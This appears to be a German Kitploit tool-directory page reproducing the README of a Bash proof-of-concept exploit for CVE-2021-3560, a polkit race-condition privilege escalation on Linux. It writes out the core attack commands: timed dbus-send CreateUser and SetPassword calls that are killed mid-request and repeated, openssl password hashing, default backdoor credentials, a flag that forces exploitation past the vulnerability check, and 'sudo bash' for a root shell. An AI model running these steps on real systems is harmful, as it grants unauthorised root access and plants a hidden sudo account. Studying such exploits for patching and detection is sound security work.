Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — Automatisiertes Bash PoC für CVE-2021-3560 polkit Privilegieneskalation. Nutzt eine dbus-Zeitwettlaufsbedingung aus, um einen sudo-Benutzer zu erstellen und eine Root-Shell auf verwundbaren Linux-Distributionen zu erlangen. | Kitploit
Tools/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
Privilege EscalationSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsRed Teaming
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

Automatisiertes Bash PoC für CVE-2021-3560 polkit Privilegieneskalation. Nutzt eine dbus-Zeitwettlaufsbedingung aus, um einen sudo-Benutzer zu erstellen und eine Root-Shell auf verwundbaren Linux-Distributionen zu erlangen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2vor 4 MonatenNoch nicht geprüft

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Ursprüngliche Forschung von Kevin Backhouse

Dies ist nur ein Bash-PoC-Skript, das die in Kevin Backhouses Blog erwähnten Exploit-Schritte automatisiert. Lesen Sie seinen Beitrag zu dieser Schwachstelle: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Usage

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Hinweise:

  • Dieser Exploit funktioniert nur auf Distributionen, die accountsservice und gnome-control-center installiert haben und die polkit Version 0.113 (oder später) ODER 0-105-26 (Debian-Fork von polkit) besitzen müssen.
  • Dieser Exploit wurde auf Ubuntu 20.04 mit polkit Version 0-105-26 (Debian-Fork von polkit) und auf Centos 8 mit polkit Version 0.115 getestet. Wenn Sie sicher sind, dass Ihr Ziel verwundbar ist, aber die Prüffunktion des Exploits fehlschlägt, verwenden Sie das Flag -f=y, um alle Prüfungen zu umgehen und den Exploit zu erzwingen.
  • Distributionen wie RHEL 8, Fedora 21, Debian testing („bullseye“) und Ubuntu 20.04 wurden als verwundbar befunden.

Wie der Exploit funktioniert?

Eine umfassende Erklärung und ein PoC zur manuellen Ausnutzung dieser Schwachstelle sind im Blog des Forschers ausführlich beschrieben.

TL;DR dieses Exploits ist unten aufgeführt:

  • Dieser Angriff erfordert präzises Timing und wir müssen uns per SSH (oder einer Kommandozeilensitzung) anmelden, wo das Öffnen grafischer Anwendungen keine Option ist.
  • Ein Angreifer kann diese Schwachstelle ausnutzen, indem er polkit durch das Senden einer dbus-Nachricht auslöst, die Anfrage jedoch abrupt beendet, während polkit die Anfrage verarbeitet. Dann kann der Angreifer eine zweite Anfrage mit der eindeutigen Bus-Kennung der vorherigen Anfrage senden, um die Anfrage als UID 0 alias root auszuführen.
  • Diese Schwachstelle existiert in polkit, weil es die UID einer Verbindung mit einer Bus-Kennung, die nicht mehr existiert, als eine Anfrage von UID 0 behandelt. Das bedeutet, dass wir, wenn wir den Angriff richtig timen und unsere erste Anfrage im richtigen Moment beenden, die zweite Anfrage mit den Rechten von UID 0 alias root stellen können.
  • Das Timing zum Beenden der Verbindung wird als die Zeit berechnet, die zum Senden der dbus-Nachricht benötigt wird / 2. Detailliert erklärt hier.

Was macht dieses Skript eigentlich?

Wie bereits gesagt, dies ist nur ein Bash-Skript, das Kevin Backhouses PoC automatisiert. Die Kernbefehle sind dieselben; ich habe nur einige anfängliche Schritte automatisiert (wie das richtige Timing, das Scannen nach Schwachstellen, das Einfügen benutzerdefinierter Anmeldedaten, das Ausgeben von Farben usw.).

Wenn dieses Skript ohne Parameter ausgeführt wird, ist das Standardverhalten dieses Skripts wie folgt:

  • Überprüfen des Distributionstyps. [Verwendung der Datei /etc/os-release.]
  • Überprüfen der Installation von accountservice und gnome-control-center. [Bei rhel/centos/fedora wird rpm -qa verwendet, bei debian/ubuntu Distributionen wird dpkg -l verwendet].
  • Wenn die Installationen gefunden werden, überprüft das Skript die polkit-Version. [0.113 (oder später) für rhel.centos,fedora und 0-105-26 für Debian/Ubuntu]
  • Wenn die polkit-Version als verwundbar eingestuft wird, startet das Skript den Exploit
  • Zuerst ermittelt das Skript die Zeit, die zum Senden der Anfrage mit debus-send benötigt wird, indem es bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null ausführt.
Tool herunterladen
  • Eine Liste der Kompatibilität mit Distributionen finden Sie in Kevins Blog.
  • Dieses Skript fügt einen neuen Benutzer in der sudo-Gruppe hinzu. Wenn der Exploit funktioniert hat, können wir uns mit su - <username> und dem dem Skript übergebenen Passwort anmelden und dann sudo bash eingeben, um eine Root-Shell zu erhalten!
  • Da dieser Angriff auf präzises Timing angewiesen ist, sind MEHRERE VERSUCHE NORMALERWEISE ERFORDERLICH, damit dieser Exploit funktioniert.
  • WARNUNG: FÜHREN SIE DIESES SKRIPT NICHT IN EINER GRAFISCHEN ANMELDEUMGEBUNG AUS!
  • Wenn dieses Skript in einer grafischen Anmeldeumgebung ausgeführt wird, erscheint die polkit-Authentifizierungsaufforderung wiederholt. Führen Sie diesen Exploit daher nur innerhalb einer SSH/NC-Shell aus.
  • Falls dies passiert, drücken Sie die Esc-Taste, um die Authentifizierungsaufforderung zu schließen, und Ctrl+C, um das Skript schnell zu beenden.
  • Dann wird die Zeit zum Beenden der Anfrage ($t) berechnet, indem die für die Anfrage benötigte Zeit durch 2 geteilt wird. ($t=time-required-to-request/2) [Berechnet mit awk]
  • Nachdem die Zeit ($t) berechnet wurde, wird die Anfrage zum Einfügen des Benutzernamens secnigma in das Ziel 20 Mal wiederholt. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Wenn das Einfügen des Benutzers erfolgreich ist [überprüft mit id secnigma], wird ein Passwort-Hash generiert [mit bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Dann wird der Befehl zum Einfügen des Passwort-Hashes 20 Mal ausgeführt. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!